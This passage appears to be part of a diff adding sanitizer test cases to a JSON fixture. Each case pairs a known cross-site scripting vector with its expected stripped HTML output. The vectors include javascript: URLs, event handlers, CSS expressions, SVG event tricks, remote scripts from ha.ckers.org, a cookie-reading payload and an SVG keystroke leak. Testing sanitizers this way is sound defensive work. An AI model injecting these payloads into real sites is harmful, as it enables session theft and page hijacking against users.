+ {
+ "data": "<?xml-stylesheet type=\"text/css\"?><root style=\"x:expression(write(1))\"/>",
+ "sanitized": "<html><head></head><body></body></html>"
+ },
+ {
+ "data": "<?xml-stylesheet type=\"text/xsl\" href=\"#\"?><img xmlns=\"x-schema:test.xdr\"/>",
+ "sanitized": "<html><head></head><body><img></body></html>"
+ },
+ {
+ "data": "<object allowscriptaccess=\"always\" data=\"test.swf\"></object>",
+ "sanitized": "<html><head></head><body></body></html>"
+ },
+ {
+ "data": "<style>*{x:EXPRESSION(write(1))}</style>",
+ "sanitized": "<html><head></head><body></body></html>"
+ },
+ {
+ "data": "<x xmlns:xlink=\"http://www.w3.org/1999/xlink\" xlink:actuate=\"onLoad\" xlink:href=\"javascript:alert(1)\" xlink:type=\"simple\"/>",
+ "sanitized": "<html><head></head><body></body></html>"
+ },
+ {
+ "data": "<?xml-stylesheet type=\"text/css\" href=\"data:,*%7bx:expression(write(2));%7d\"?>",
+ "sanitized": "<html><head></head><body></body></html>"
+ },
+ {
+ "data": "<x:template xmlns:x=\"http://www.wapforum.org/2001/wml\" x:ontimer=\"$(x:unesc)j$(y:escape)a$(z:noecs)v$(x)a$(y)s$(z)cript$x:alert(1)\"><x:timer value=\"1\"/></x:template>",
+ "sanitized": "<html><head></head><body></body></html>"
+ },
+ {
+ "data": "<x xmlns:ev=\"http://www.w3.org/2001/xml-events\" ev:event=\"load\" ev:handler=\"javascript:alert(1)//#x\"/>",
+ "sanitized": "<html><head></head><body></body></html>"
+ },
+ {
+ "data": "<x xmlns:ev=\"http://www.w3.org/2001/xml-events\" ev:event=\"load\" ev:handler=\"test.evt#x\"/>",
+ "sanitized": "<html><head></head><body></body></html>"
+ },
+ {
+ "data": "<body oninput=alert(1)><input autofocus>",
+ "sanitized": "<html><head></head><body></body></html>"
+ },
+ {
+ "data": "<svg xmlns=\"http://www.w3.org/2000/svg\">\n<a xmlns:xlink=\"http://www.w3.org/1999/xlink\" xlink:href=\"javascript:alert(1)\"><rect width=\"1000\" height=\"1000\" fill=\"white\"/></a>\n</svg>",
+ "sanitized": "<html><head></head><body>\n\n</body></html>"
+ },
+ {
+ "data": "<svg xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\">\n\n<animation xlink:href=\"javascript:alert(1)\"/>\n<animation xlink:href=\"data:text/xml,%3Csvg xmlns='http://www.w3.org/2000/svg' onload='alert(1)'%3E%3C/svg%3E\"/>\n\n<image xlink:href=\"data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' onload='alert(1)'%3E%3C/svg%3E\"/>\n\n<foreignObject xlink:href=\"javascript:alert(1)\"/>\n<foreignObject xlink:href=\"data:text/xml,%3Cscript xmlns='http://www.w3.org/1999/xhtml'%3Ealert(1)%3C/script%3E\"/>\n\n</svg>",
+ "sanitized": "<html><head></head><body>\n\n\n\n\n\n\n\n\n\n</body></html>"
+ },
+ {
+ "data": "<svg xmlns=\"http://www.w3.org/2000/svg\">\n<set attributeName=\"onmouseover\" to=\"alert(1)\"/>\n<animate attributeName=\"onunload\" to=\"alert(1)\"/>\n</svg>",
+ "sanitized": "<html><head></head><body>\n\n\n</body></html>"
+ },
+ {
+ "data": "<!-- Up to Opera 10.63 -->\r\n<div style=content:url(test2.svg)></div>\r\n\r\n<!-- Up to Opera 11.64 - see link below -->\r\n\r\n<!-- Up to Opera 12.x -->\r\n<div style=\"background:url(test5.svg)\">PRESS ENTER</div>",
+ "sanitized": "<html><head></head><body><div></div>\n\n\n\n\n<div>PRESS ENTER</div></body></html>"
+ },
+ {
+ "data": "[A]\n<? foo=\"><script>alert(1)</script>\">\n<! foo=\"><script>alert(1)</script>\">\n</ foo=\"><script>alert(1)</script>\">\n[B]\n<? foo=\"><x foo='?><script>alert(1)</script>'>\">\n[C]\n<! foo=\"[[[x]]\"><x foo=\"]foo><script>alert(1)</script>\">\n[D]\n<% foo><x foo=\"%><script>alert(1)</script>\">",
+ "sanitized": "<html><head></head><body>[A]\n\"&gt;\n\"&gt;\n\"&gt;\n[B]\n\"&gt;\n[C]\n\n[D]\n&lt;% foo&gt;</body></html>"
+ },
+ {
+ "data": "<div style=\"background:url(http://foo.f/f oo/;color:red/*/foo.jpg);\">X</div>",
+ "sanitized": "<html><head></head><body><div>X</div></body></html>"
+ },
+ {
+ "data": "<div style=\"list-style:url(http://foo.f)\\20url(javascript:alert(1));\">X</div>",
+ "sanitized": "<html><head></head><body><div>X</div></body></html>"
+ },
+ {
+ "data": "<svg xmlns=\"http://www.w3.org/2000/svg\">\n<handler xmlns:ev=\"http://www.w3.org/2001/xml-events\" ev:event=\"load\">alert(1)</handler>\n</svg>",
+ "sanitized": "<html><head></head><body>\nalert(1)\n</body></html>"
+ },
+ {
+ "data": "<svg xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\">\n<feImage>\n<set attributeName=\"xlink:href\" to=\"data:image/svg+xml;charset=utf-8;base64,\nPHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxzY3JpcHQ%2BYWxlcnQoMSk8L3NjcmlwdD48L3N2Zz4NCg%3D%3D\"/>\n</feImage>\n</svg>",
+ "sanitized": "<html><head></head><body>\n\n\n\n</body></html>"
+ },
+ {
+ "data": "<iframe src=mhtml:http://html5sec.org/test.html!xss.html></iframe>\n<iframe src=mhtml:http://html5sec.org/test.gif!xss.html></iframe>",
+ "sanitized": "<html><head></head><body>\n</body></html>"
+ },
+ {
+ "data": "<!-- IE 5-9 -->\r\n<div id=d><x xmlns=\"><iframe onload=alert(1)\"></div>\n<script>d.innerHTML+='';</script>\r\n\r\n<!-- IE 10 in IE5-9 Standards mode -->\r\n<div id=d><x xmlns='\"><iframe onload=alert(2)//'></div>\n<script>d.innerHTML+='';</script>",
+ "sanitized": "<html><head></head><body><div id=\"d\"></div>\n\n\n\n<div id=\"d\"></div>\n</body></html>"
+ },
+ {
+ "data": "<div id=d><div style=\"font-family:'sans\\27\\2F\\2A\\22\\2A\\2F\\3B color\\3Ared\\3B'\">X</div></div>\n<script>with(document.getElementById(\"d\"))innerHTML=innerHTML</script>",
+ "sanitized": "<html><head></head><body><div id=\"d\"><div>X</div></div>\n</body></html>"
+ },
+ {
+ "data": "XXX<style>\r\n\r\n*{color:gre/**/en !/**/important} /* IE 6-9 Standards mode */\r\n\r\n<!--\r\n--><!--*{color:red} /* all UA */\r\n\r\n*{background:url(xx:x //**/\\red/*)} /* IE 6-7 Standards mode */\r\n\r\n</style>",
+ "sanitized": "<html><head></head><body>XXX</body></html>"
+ },
+ {
+ "data": "<img[a][b]src=x[d]onerror[c]=[e]\"alert(1)\">",
+ "sanitized": "<html><head></head><body></body></html>"
+ },
+ {
+ "data": "<a href=\"[a]java[b]script[c]:alert(1)\">XXX</a>",
+ "sanitized": "<html><head></head><body><a>XXX</a></body></html>"
+ },
+ {
+ "data": "<img src=\"x` `<script>alert(1)</script>\"` `>",
+ "sanitized": "<html><head></head><body><img></body></html>"
+ },
+ {
+ "data": "<script>history.pushState(0,0,'/i/am/somewhere_else');</script>",
+ "sanitized": "<html><head></head><body></body></html>"
+ },
+ {
+ "data": "<svg xmlns=\"http://www.w3.org/2000/svg\" id=\"foo\">\r\n<x xmlns=\"http://www.w3.org/2001/xml-events\" event=\"load\" observer=\"foo\" handler=\"data:image/svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%0A%3Chandler%20xml%3Aid%3D%22bar%22%20type%3D%22application%2Fecmascript%22%3E alert(1) %3C%2Fhandler%3E%0A%3C%2Fsvg%3E%0A#bar\"/>\r\n</svg>",
+ "sanitized": "<html><head></head><body>\n\n</body></html>"
+ },
+ {
+ "data": "<iframe src=\"data:image/svg-xml,%1F%8B%08%00%00%00%00%00%02%03%B3)N.%CA%2C(Q%A8%C8%CD%C9%2B%B6U%CA())%B0%D2%D7%2F%2F%2F%D7%2B7%D6%CB%2FJ%D77%B4%B4%B4%D4%AF%C8(%C9%CDQ%B2K%CCI-*%D10%D4%B4%D1%87%E8%B2%03\"></iframe>",
+ "sanitized": "<html><head></head><body></body></html>"
+ },
+ {
+ "data": "<img src onerror /\" '\"= alt=alert(1)//\">",
+ "sanitized": "<html><head></head><body><img></body></html>"
+ },
+ {
+ "data": "<title onpropertychange=alert(1)></title><title title=></title>",
+ "sanitized": "<html><head><title></title><title title=\"\"></title></head><body></body></html>"
+ },
+ {
+ "data": "<!-- IE 5-8 standards mode -->\r\n<a href=http://foo.bar/#x=`y></a><img alt=\"`><img src=xx:x onerror=alert(1)></a>\">\r\n\r\n<!-- IE 5-9 standards mode -->\r\n<!a foo=x=`y><img alt=\"`><img src=xx:x onerror=alert(2)//\">\r\n<?a foo=x=`y><img alt=\"`><img src=xx:x onerror=alert(3)//\">",
+ "sanitized": "<html><head></head><body><a href=\"http://foo.bar/#x=%60y\"></a><img alt=\"`&gt;&lt;img src=xx:x onerror=alert(1)&gt;&lt;/a&gt;\">\n\n\n<img alt=\"`&gt;&lt;img src=xx:x onerror=alert(2)//\">\n<img alt=\"`&gt;&lt;img src=xx:x onerror=alert(3)//\"></body></html>"
+ },
+ {
+ "data": "<svg xmlns=\"http://www.w3.org/2000/svg\">\n<a id=\"x\"><rect fill=\"white\" width=\"1000\" height=\"1000\"/></a>\n<rect fill=\"white\" style=\"clip-path:url(test3.svg#a);fill:url(#b);filter:url(#c);marker:url(#d);mask:url(#e);stroke:url(#f);\"/>\n</svg>",
+ "sanitized": "<html><head></head><body>\n\n\n</body></html>"
+ },
+ {
+ "data": "<svg xmlns=\"http://www.w3.org/2000/svg\">\r\n<path d=\"M0,0\" style=\"marker-start:url(test4.svg#a)\"/>\r\n</svg>",
+ "sanitized": "<html><head></head><body>\n\n</body></html>"
+ },
+ {
+ "data": "<div style=\"background:url(/f#[a]oo/;color:red/*/foo.jpg);\">X</div>",
+ "sanitized": "<html><head></head><body><div>X</div></body></html>"
+ },
+ {
+ "data": "<div style=\"font-family:foo{bar;background:url(http://foo.f/oo};color:red/*/foo.jpg);\">X</div>",
+ "sanitized": "<html><head></head><body><div>X</div></body></html>"
+ },
+ {
+ "data": "<div id=\"x\">XXX</div>\n<style>\n\n#x{font-family:foo[bar;color:green;}\n\n#y];color:red;{}\n\n</style>",
+ "sanitized": "<html><head></head><body><div id=\"x\">XXX</div>\n</body></html>"
+ },
+ {
+ "data": "<x style=\"background:url('x[a];color:red;/*')\">XXX</x>",
+ "sanitized": "<html><head></head><body>XXX</body></html>"
+ },
+ {
+ "data": "<!--[if]><script>alert(1)</script -->\r\n<!--[if<img src=x onerror=alert(2)//]> -->",
+ "sanitized": "<html><head></head><body></body></html>"
+ },
+ {
+ "data": "<div id=\"x\">x</div>\n<xml:namespace prefix=\"t\">\n<import namespace=\"t\" implementation=\"#default#time2\">\n<t:set attributeName=\"innerHTML\" targetElement=\"x\" to=\"&lt;img&#11;src=x:x&#11;onerror&#11;=alert(1)&gt;\">",
+ "sanitized": "<html><head></head><body><div id=\"x\">x</div>\n\n\n</body></html>"
+ },
+ {
+ "data": "<a href=\"http://attacker.org\">\n\t<iframe src=\"http://example.org/\"></iframe>\n</a>",
+ "sanitized": "<html><head></head><body><a href=\"http://attacker.org\">\n\t\n</a></body></html>"
+ },
+ {
+ "data": "<div draggable=\"true\" ondragstart=\"event.dataTransfer.setData('text/plain','malicious code');\">\n\t<h1>Drop me</h1>\n</div>\n\n<iframe src=\"http://www.example.org/dropHere.html\"></iframe>",
+ "sanitized": "<html><head></head><body><div draggable=\"true\">\n\t<h1>Drop me</h1>\n</div>\n\n</body></html>"
+ },
+ {
+ "data": "<iframe src=\"view-source:http://www.example.org/\" frameborder=\"0\" style=\"width:400px;height:180px\"></iframe>\n\n<textarea type=\"text\" cols=\"50\" rows=\"10\"></textarea>",
+ "sanitized": "<html><head></head><body>\n\n<textarea type=\"text\" cols=\"50\" rows=\"10\"></textarea></body></html>"
+ },
+ {
+ "data": "<script>\nfunction makePopups(){\n\tfor (i=1;i<6;i++) {\n\t\twindow.open('popup.html','spam'+i,'width=50,height=50');\n\t}\n}\n</script>\n\n<body>\n<a href=\"#\" onclick=\"makePopups()\">Spam</a>",
+ "sanitized": "<html><head>\n\n</head><body>\n<a>Spam</a></body></html>"
+ },
+ {
+ "data": "<html xmlns=\"http://www.w3.org/1999/xhtml\"\nxmlns:svg=\"http://www.w3.org/2000/svg\">\n<body style=\"background:gray\">\n<iframe src=\"http://example.com/\" style=\"width:800px; height:350px; border:none; mask: url(#maskForClickjacking);\"/>\n<svg:svg>\n<svg:mask id=\"maskForClickjacking\" maskUnits=\"objectBoundingBox\" maskContentUnits=\"objectBoundingBox\">\n\t<svg:rect x=\"0.0\" y=\"0.0\" width=\"0.373\" height=\"0.3\" fill=\"white\"/>\n\t<svg:circle cx=\"0.45\" cy=\"0.7\" r=\"0.075\" fill=\"white\"/>\n</svg:mask>\n</svg:svg>\n</body>\n</html>",
+ "sanitized": "<html><head></head><body>\n\n&lt;svg:svg&gt;\n&lt;svg:mask id=\"maskForClickjacking\" maskUnits=\"objectBoundingBox\" maskContentUnits=\"objectBoundingBox\"&gt;\n\t&lt;svg:rect x=\"0.0\" y=\"0.0\" width=\"0.373\" height=\"0.3\" fill=\"white\"/&gt;\n\t&lt;svg:circle cx=\"0.45\" cy=\"0.7\" r=\"0.075\" fill=\"white\"/&gt;\n&lt;/svg:mask&gt;\n&lt;/svg:svg&gt;\n&lt;/body&gt;\n&lt;/html&gt;</body></html>"
+ },
+ {
+ "data": "<iframe sandbox=\"allow-same-origin allow-forms allow-scripts\" src=\"http://example.org/\"></iframe>",
+ "sanitized": "<html><head></head><body></body></html>"
+ },
+ {
+ "data": "<span class=foo>Some text</span>\n<a class=bar href=\"http://www.example.org\">www.example.org</a>\n\n<script src=\"http://code.jquery.com/jquery-1.4.4.js\"></script>\n<script>\n$(\"span.foo\").click(function() {\nalert('foo');\n$(\"a.bar\").click();\n});\n$(\"a.bar\").click(function() {\nalert('bar');\nlocation=\"http://html5sec.org\";\n});\n</script>",
+ "sanitized": "<html><head></head><body><span class=\"foo\">Some text</span>\n<a class=\"bar\" href=\"http://www.example.org\">www.example.org</a>\n\n\n</body></html>"
+ },
+ {
+ "data": "<script src=\"/\\example.com\\foo.js\"></script> // Safari 5.0, Chrome 9, 10\n<script src=\"\\\\example.com\\foo.js\"></script> // Safari 5.0",
+ "sanitized": "<html><head> </head><body>// Safari 5.0, Chrome 9, 10\n // Safari 5.0</body></html>"
+ },
+ {
+ "data": "<?xml version=\"1.0\"?>\r\n<?xml-stylesheet type=\"text/xml\" href=\"#stylesheet\"?>\r\n<!DOCTYPE doc [\r\n<!ATTLIST xsl:stylesheet\r\n id ID #REQUIRED>]>\r\n<svg xmlns=\"http://www.w3.org/2000/svg\">\r\n <xsl:stylesheet id=\"stylesheet\" version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">\r\n <xsl:template match=\"/\">\r\n <iframe xmlns=\"http://www.w3.org/1999/xhtml\" src=\"javascript:alert(1)\"></iframe>\r\n </xsl:template>\r\n </xsl:stylesheet>\r\n <circle fill=\"red\" r=\"40\"></circle>\r\n</svg>",
+ "sanitized": "<!DOCTYPE doc>\n<html><head></head><body>]&gt;\n\n \n \n \n \n \n \n</body></html>"
+ },
+ {
+ "data": "<object id=\"x\" classid=\"clsid:CB927D12-4FF7-4a9e-A169-56E4B8A75598\"></object>\r\n<object classid=\"clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B\" onqt_error=\"alert(1)\" style=\"behavior:url(#x);\"><param name=postdomevents /></object>",
+ "sanitized": "<html><head></head><body>\n</body></html>"
+ },
+ {
+ "data": "<svg xmlns=\"http://www.w3.org/2000/svg\" id=\"x\">\r\n<listener event=\"load\" handler=\"#y\" xmlns=\"http://www.w3.org/2001/xml-events\" observer=\"x\"/>\r\n<handler id=\"y\">alert(1)</handler>\r\n</svg>",
+ "sanitized": "<html><head></head><body>\n\nalert(1)\n</body></html>"
+ },
+ {
+ "data": "<svg><style>&lt;img/src=x onerror=alert(1)// </b>",
+ "sanitized": "<html><head></head><body></body></html>"
+ },
+ {
+ "data": "<svg>\n<image style='filter:url(\"data:image/svg+xml,<svg xmlns=%22http://www.w3.org/2000/svg%22><script>parent.alert(1)</script></svg>\")'>\n<!--\nSame effect with\n<image filter='...'>\n-->\n</svg>",
+ "sanitized": "<html><head></head><body>\n\n\n</body></html>"
+ },
+ {
+ "data": "<math href=\"javascript:alert(1)\">CLICKME</math>\r\n\r\n<math>\r\n<!-- up to FF 13 -->\r\n<maction actiontype=\"statusline#http://google.com\" xlink:href=\"javascript:alert(2)\">CLICKME</maction>\r\n\r\n<!-- FF 14+ -->\r\n<maction actiontype=\"statusline\" xlink:href=\"javascript:alert(3)\">CLICKME<mtext>http://http://google.com</mtext></maction>\r\n</math>",
+ "sanitized": "<html><head></head><body><math>CLICKME</math>\n\n<math>\n\n<maction actiontype=\"statusline#http://google.com\">CLICKME</maction>\n\n\n<maction actiontype=\"statusline\">CLICKME<mtext>http://http://google.com</mtext></maction>\n</math></body></html>"
+ },
+ {
+ "data": "<b>drag and drop one of the following strings to the drop box:</b>\r\n<br/><hr/>\r\njAvascript:alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie);//\r\n<br/><hr/>\r\nfeed:javascript:alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie);//\r\n<br/><hr/>\r\nfeed:data:text/html,&#x3c;script>alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie)&#x3c;/script>&#x3c;b>\r\n<br/><hr/>\r\nfeed:feed:javAscript:javAscript:feed:alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie);//\r\n<br/><hr/>\r\n<div id=\"dropbox\" style=\"height: 360px;width: 500px;border: 5px solid #000;position: relative;\" ondragover=\"event.preventDefault()\">+ Drop Box +</div>",
+ "sanitized": "<html><head></head><body><b>drag and drop one of the following strings to the drop box:</b>\n<br><hr>\njAvascript:alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie);//\n<br><hr>\nfeed:javascript:alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie);//\n<br><hr>\nfeed:data:text/html,&lt;script&gt;alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie)&lt;/script&gt;&lt;b&gt;\n<br><hr>\nfeed:feed:javAscript:javAscript:feed:alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie);//\n<br><hr>\n<div id=\"dropbox\">+ Drop Box +</div></body></html>"
+ },
+ {
+ "data": "<!doctype html>\r\n<form>\r\n<label>type a,b,c,d - watch the network tab/traffic (JS is off, latest NoScript)</label>\r\n<br>\r\n<input name=\"secret\" type=\"password\">\r\n</form>\r\n<!-- injection --><svg height=\"50px\">\r\n<image xmlns:xlink=\"http://www.w3.org/1999/xlink\">\r\n<set attributeName=\"xlink:href\" begin=\"accessKey(a)\" to=\"//example.com/?a\" />\r\n<set attributeName=\"xlink:href\" begin=\"accessKey(b)\" to=\"//example.com/?b\" />\r\n<set attributeName=\"xlink:href\" begin=\"accessKey(c)\" to=\"//example.com/?c\" />\r\n<set attributeName=\"xlink:href\" begin=\"accessKey(d)\" to=\"//example.com/?d\" />\r\n</image>\r\n</svg>",
+ "sanitized": "<!DOCTYPE html>\n<html><head></head><body>\n<label>type a,b,c,d - watch the network tab/traffic (JS is off, latest NoScript)</label>\n<br>\n\n\n\n\n\n\n\n\n\n</body></html>"
+ },
+ {
+ "data": "<!-- `<img/src=xx:xx onerror=alert(1)//--!>",
+ "sanitized": "<html><head></head><body></body></html>"
+ },
+ {
+ "data": "<xmp>\r\n<%\r\n</xmp>\r\n<img alt='%></xmp><img src=xx:x onerror=alert(1)//'>\r\n\r\n<script>\r\nx='<%'\r\n</script> %>/\r\nalert(2)\r\n</script>\r\n\r\nXXX\r\n<style>\r\n*['<!--']{}\r\n</style>\r\n-->{}\r\n*{color:red}</style>",
+ "sanitized": "<html><head></head><body>\n&lt;%\n\n<img alt=\"%&gt;&lt;/xmp&gt;&lt;img src=xx:x onerror=alert(1)//\">\n\n %&gt;/\nalert(2)\n\n\nXXX\n\n--&gt;{}\n*{color:red}</body></html>"
+ },
+ {
+ "data": "<?xml-stylesheet type=\"text/xsl\" href=\"#\" ?>\r\n<stylesheet xmlns=\"http://www.w3.org/TR/WD-xsl\">\r\n<template match=\"/\">\r\n<eval>new ActiveXObject(&apos;htmlfile&apos;).parentWindow.alert(1)</eval>\r\n<if expr=\"new ActiveXObject('htmlfile').parentWindow.alert(2)\"></if>\r\n</template>\r\n</stylesheet>",
+ "sanitized": "<html><head></head><body>\n\n</body></html>"
+ },
+ {
+ "data": "<form action=\"\" method=\"post\">\r\n<input name=\"username\" value=\"admin\" />\r\n<input name=\"password\" type=\"password\" value=\"secret\" />\r\n<input name=\"injected\" value=\"injected\" dirname=\"password\" />\r\n<input type=\"submit\">\r\n</form>",
+ "sanitized": "<html><head></head><body>\n\n\n\n\n</body></html>"
+ },
+ {
+ "data": "<SCRIPT>alert('XSS');</SCRIPT>",
+ "sanitized": "<html><head></head><body></body></html>"
+ },
+ {
+ "data": "'';!--\"<XSS>=&{()}",
+ "sanitized": "<html><head></head><body>'';!--\"=&amp;{()}</body></html>"
+ },
+ {
+ "data": "<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>",
+ "sanitized": "<html><head></head><body></body></html>"
+ },
+ {
+ "data": "<IMG SRC=\"javascript:alert('XSS');\">",
+ "sanitized": "<html><head></head><body><img></body></html>"
+ },
+ {
+ "data": "<IMG SRC=javascript:alert('XSS')>",
+ "sanitized": "<html><head></head><body><img></body></html>"
+ },
+ {
+ "data": "<IMG SRC=JaVaScRiPt:alert('XSS')>",
+ "sanitized": "<html><head></head><body><img></body></html>"
+ },
+ {
+ "data": "<IMG SRC=javascript:alert(&quot;XSS&quot;)>",
+ "sanitized": "<html><head></head><body><img></body></html>"
+ },
+ {
+ "data": "<IMG SRC=`javascript:alert(\"RSnake says, 'XSS'\")`>",
+ "sanitized": "<html><head></head><body><img></body></html>"
+ },
+ {
+ "data": "<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>",
+ "sanitized": "<html><head></head><body><img></body></html>"
+ },
+ {
+ "data": "SRC=&#10<IMG 6;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>",
+ "sanitized": "<html><head></head><body>SRC=\n<img></body></html>"
+ },
+ {
+ "data": "<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>",
+ "sanitized": "<html><head></head><body><img></body></html>"
+ },
+ {
+ "data": "<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>",
+ "sanitized": "<html><head></head><body><img></body></html>"
+ },
+ {
+ "data": "<IMG SRC=\"javascript:alert('XSS');\">",
+ "sanitized": "<html><head></head><body><img></body></html>"
+ },
+ {
+ "data": "<IMG SRC=\"jav&#x09;ascript:alert('XSS');\">",
+ "sanitized": "<html><head></head><body><img></body></html>"
+ },
+ {
+ "data": "<IMG SRC=\"jav&#x0A;ascript:alert('XSS');\">",
+ "sanitized": "<html><head></head><body><img></body></html>"
+ },
+ {
+ "data": "<IMG SRC=\"jav&#x0D;ascript:alert('XSS');\">",
+ "sanitized": "<html><head></head><body><img></body></html>"
+ },
+ {
+ "data": "<IMG SRC=\" &#14; javascript:alert('XSS');\">",
+ "sanitized": "<html><head></head><body><img></body></html>"
+ },
+ {
+ "data": "<SCRIPT/XSS SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>",
+ "sanitized": "<html><head></head><body></body></html>"
+ },
+ {
+ "data": "<SCRIPT SRC=http://ha.ckers.org/xss.js?<B>",
+ "sanitized": "<html><head></head><body></body></html>"
+ },
+ {
+ "data": "<IMG SRC=\"javascript:alert('XSS')\"",
+ "sanitized": "<html><head></head><body></body></html>"
+ },
+ {
+ "data": "<SCRIPT>a=/XSS/",
+ "sanitized": "<html><head></head><body></body></html>"
+ },
+ {
+ "data": "\\\";alert('XSS');//",
+ "sanitized": "<html><head></head><body>\\\";alert('XSS');//</body></html>"
+ },
+ {
+ "data": "<INPUT TYPE=\"IMAGE\" SRC=\"javascript:alert('XSS');\">",
+ "sanitized": "<html><head></head><body></body></html>"
+ },
+ {
+ "data": "<BODY BACKGROUND=\"javascript:alert('XSS')\">",
+ "sanitized": "<html><head></head><body></body></html>"
+ },
+ {
+ "data": "<BODY ONLOAD=alert('XSS')>",
+ "sanitized": "<html><head></head><body></body></html>"
+ },
+ {
+ "data": "<IMG DYNSRC=\"javascript:alert('XSS')\">",
+ "sanitized": "<html><head></head><body><img></body></html>"
+ },
+ {
+ "data": "<IMG LOWSRC=\"javascript:alert('XSS')\">",
+ "sanitized": "<html><head></head><body><img></body></html>"
+ },
+ {
+ "data": "<BGSOUND SRC=\"javascript:alert('XSS');\">",
+ "sanitized": "<html><head></head><body></body></html>"
+ },
+ {
+ "data": "<BR SIZE=\"&{alert('XSS')}\">",
+ "sanitized": "<html><head></head><body><br></body></html>"
+ },
+ {
+ "data": "<LAYER SRC=\"http://ha.ckers.org/scriptlet.html\"></LAYER>",
+ "sanitized": "<html><head></head><body></body></html>"
+ },
+ {
+ "data": "<LINK REL=\"stylesheet\" HREF=\"javascript:alert('XSS');\">",
+ "sanitized": "<html><head></head><body></body></html>"
+ },
+ {
+ "data": "<LINK REL=\"stylesheet\" HREF=\"http://ha.ckers.org/xss.css\">",
+ "sanitized": "<html><head></head><body></body></html>"
+ },
+ {
+ "data": "<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>",
+ "sanitized": "<html><head></head><body></body></html>"
+ },
+ {
+ "data": "<META HTTP-EQUIV=\"Link\" Content=\"<http://ha.ckers.org/xss.css>; REL=stylesheet\">",
+ "sanitized": "<html><head></head><body></body></html>"
+ },
+ {
+ "data": "<STYLE>BODY{-moz-binding:url(\"http://ha.ckers.org/xssmoz.xml#xss\")}</STYLE>",
+ "sanitized": "<html><head></head><body></body></html>"
+ },
+ {
+ "data": "<IMG SRC='vbscript:msgbox(\"XSS\")'>",
+ "sanitized": "<html><head></head><body><img></body></html>"
+ },
+ {
+ "data": "<IMG SRC=\"mocha:[code]\">",
+ "sanitized": "<html><head></head><body><img></body></html>"
+ },
+ {
+ "data": "<IMG SRC=\"livescript:[code]\">",
+ "sanitized": "<html><head></head><body><img></body></html>"
+ },
+ {
+ "data": "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:alert('XSS');\">",
+ "sanitized": "<html><head></head><body></body></html>"
+ },
+ {
+ "data": "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K\">",
+ "sanitized": "<html><head></head><body></body></html>"
+ },
+ {
+ "data": "<META HTTP-EQUIV=\"Link\" Content=\"<javascript:alert('XSS')>; REL=stylesheet\">",
+ "sanitized": "<html><head></head><body></body></html>"
+ },
+ {
+ "data": "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http://;URL=javascript:alert('XSS');\">",
+ "sanitized": "<html><head></head><body></body></html>"
+ },
+ {
+ "data": "<IFRAME SRC=\"javascript:alert('XSS');\"></IFRAME>",
+ "sanitized": "<html><head></head><body></body></html>"
+ },
+ {
+ "data": "<FRAMESET><FRAME SRC=\"javascript:alert('XSS');\"></FRAMESET>",
+ "sanitized": "<html><head></head></html>"
+ },
+ {
+ "data": "<TABLE BACKGROUND=\"javascript:alert('XSS')\">",
+ "sanitized": "<html><head></head><body><table></table></body></html>"
+ },
+ {
+ "data": "<DIV STYLE=\"background-image: url(javascript:alert('XSS'))\">",
+ "sanitized": "<html><head></head><body><div></div></body></html>"
+ },
+ {
+ "data": "<DIV STYLE=\"background-image: url(&#1;javascript:alert('XSS'))\">",
+ "sanitized": "<html><head></head><body><div></div></body></html>"
+ },
+ {
+ "data": "<DIV STYLE=\"width: expression(alert('XSS'));\">",
+ "sanitized": "<html><head></head><body><div></div></body></html>"
+ },
+ {
+ "data": "<STYLE>@im\\port'\\ja\\vasc\\ript:alert(\"XSS\")';</STYLE>",
+ "sanitized": "<html><head></head><body></body></html>"
+ },
+ {
+ "data": "<IMG STYLE=\"xss:expr/*XSS*/ession(alert('XSS'))\">",
+ "sanitized": "<html><head></head><body><img></body></html>"
+ },
+ {
+ "data": "<XSS STYLE=\"xss:expression(alert('XSS'))\">",
+ "sanitized": "<html><head></head><body></body></html>"
+ },
+ {
+ "data": "exp/*<XSS STYLE='no\\xss:noxss(\"*//*\");",
+ "sanitized": "<html><head></head><body>exp/*</body></html>"
+ },
+ {
+ "data": "<STYLE TYPE=\"text/javascript\">alert('XSS');</STYLE>",
+ "sanitized": "<html><head></head><body></body></html>"
+ },
+ {
+ "data": "<STYLE>.XSS{background-image:url(\"javascript:alert('XSS')\");}</STYLE><A CLASS=XSS></A>",
+ "sanitized": "<html><head></head><body><a class=\"XSS\"></a></body></html>"
+ },
+ {
+ "data": "<STYLE type=\"text/css\">BODY{background:url(\"javascript:alert('XSS')\")}</STYLE>",
+ "sanitized": "<html><head></head><body></body></html>"
+ },
+ {
